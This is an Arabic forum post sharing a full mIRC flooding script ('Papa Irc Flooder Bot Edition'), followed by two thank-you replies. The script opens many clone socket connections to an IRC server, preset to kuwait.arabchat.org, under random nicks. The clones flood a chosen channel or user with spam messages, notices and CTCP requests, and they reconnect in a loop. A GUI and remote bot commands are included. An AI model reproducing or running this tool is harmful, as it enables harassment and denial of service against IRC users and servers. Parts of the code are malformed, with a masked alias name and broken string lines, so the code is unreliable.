فلود تقزيره

[Sha3er]

فلود تقزيره cool.gif


on *:sockread:Papa*:{ .sockread %clone.temp | if ($gettok(%clone.temp,1,32) == Ping) { sockwrite -tn $sockname Pong $server } }
alias **** {
if ($2 = $null) || ($2 !isnum) { echo -a 4Error: No #Channel/Nick, Clone, Irc Server, Port, Flood Message | halt }
set %nick $$1
set %clones $$2
set %channel $$1
if ( $3 = $null) { set %server $server }
if ( $3 != $null) { set %server $$3 }
if ( $4 = $null) || ( $4 !isnum) { set %port $port }
if ( $4 != $null) { set %port $$4 }
if ( $5 = $null) { set %flood !list PING ME File Server Online flo0dflo0dflo0dflo0dflo0d
flo0dflo0dflo0dflo0dflo0d
flo0dflo0dflo0dflo0dflo0d
flo0dflo0dflo0dflo0dflo0d
flo0dflo0dflo0dflo0dflo0d
flo0dflo0dflo0dflo0dflo0d
flo0dflo0dflo0dflo0dflo0d
 }
if ( $5 != $null) { set %flood $5- }
set %papaflood on
var %var = 0
:loop
inc %var
if (%papaflood == on) && (%var <= %clones) { .sockopen Papa $+ %var %server %port | goto loop }
else { echo -a 4Clones Loaded | halt }
}

alias cleanup {
.set %papaflood off
.sockclose Papa*
.unset %nick
unset %channel
unset %server
unset %port
unset %clones
unset %flood
set %type Privmsg
echo -a 4All Clones Have Been Cleared
}

on *:Sockopen:Papa*:{
if ($sockerr > 0) { halt }
set -u1 %user $rand(A,z) $+ $rand(a,z) $+ $rand(1,9) $+ $rand(a,z)
.sockwrite -nt $sockname USER %user %user %user : $+ %user
.sockwrite -nt $sockname NICK $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+
.sockwrite -nt $sockname JOIN : $+ %channel
.sockwrite -n $sockname %type %nick : $+  $+ $rand(1,15) %flood
.sockwrite -n $sockname Privmsg %nick : $+ $chr(1) $+ time $+ $chr(1)
.sockwrite -nt $sockname Notice %nick : $+ ¥§©®¢،ّو¥§©®¢،ّو+++++[b
low me fool]+++++¥§©®¢،ّو¥§©®¢،
ّو
.sockclose $sockname
.sockopen Papa $+ $r(0,9) $+ $r(0,9) $+ $r(0,9) $+ $r(0,9) %server %port
}
on *:load:{
if ($version < 5.61) echo -a  $+ $colour(info2) $+ *** You need mirc 5.61 or greator in order to use this addon. | beep
echo -a 4Papa Irc Flooder Bot Edition By: station420 & TBA | echo -a 4Please type: /Papa to load Papa Irc Flooder Bot Edition.
}
alias papa {
dialog -m papa papa
}
}
dialog papa {
title "Flood ThE mUmMy ScRiPT"
size -1 -1 300 250
button "تشغيل", 1, 30 223 100 25
button "اطفاء", 2, 170 223 100 25
edit "#",6, 95 70 75 22, Autohs
edit "3",9, 210 70 75 22, Autohs
edit "kuwait.arabchat.org",10, 70 98 100 22, Autohs
edit "6667",11, 210 98 75 22, Autohs
check "نوتس",5, 20 30 50 20
check "مسج",3, 75 30 40 20
check "بوت",19, 120 30 40 20
text "بوت جنل:",20, 175 33 80 20
edit "#",21, 220 30 65 20
box "فلود",7, 10 16 280 40
box "انفو",8, 10 59 280 160
text "جنل او النك:",12, 15 73 75 25
text "كلون:",13, 175 73 30 25 ,
text "السيرفر:",14, 15 100 50 25
text "بورت:",15, 175 100 25 25
box "مسج الفلود",16, 15 120 270 90
edit "flo0dflo0dflo0dflo0dflo0d flo0dflo0dflo0dflo0dflo0d flo0dflo0dflo0dflo0dflo0d flo0dflo0dflo0dflo0dflo0d",17, 20 135 260 70, Autohs Autovs Multi Return
button "خروج" ,500, 6 1 290 15, OK
}
on 1:dialog:papa:sclick:* {
if ( $did == 1 ) {
if $did(19).state = 1 {
msg $did(21).text !flood $did(6) $did(9) $did(10) $did(11) $did(17)
halt
}
**** $did(6) $did(9) $did(10) $did(11) $did(17)
}
if ( $did = 19 ) { if ( $did == 1 ) { msg $did(21) !flood $did(6) $did(9) $did(10) $did(11) $did(17) }
}
if ( $did == 2 ) {
if $did(19).state = 1 {
msg $did(21).text !floodoff
halt
}
cleanup
}
if ( $did = 19 ) { if ( $did == 2 ) { msg $did(21) !floodoff }
}
if ( $did == 5 ) {
set %type Notice
}
if ( $did == 3 ) {
set %type Privmsg
}
if ( $did == 18 ) {
run
}
}

menu channel {
-
-=§ فلود §=- :dialog -m papa papa

[DenGar]

مشكور ما تقصر ويعطيك الف عافيه

[PaSt-LoVe]

ثااااااااااانكيوووووووووووو :>>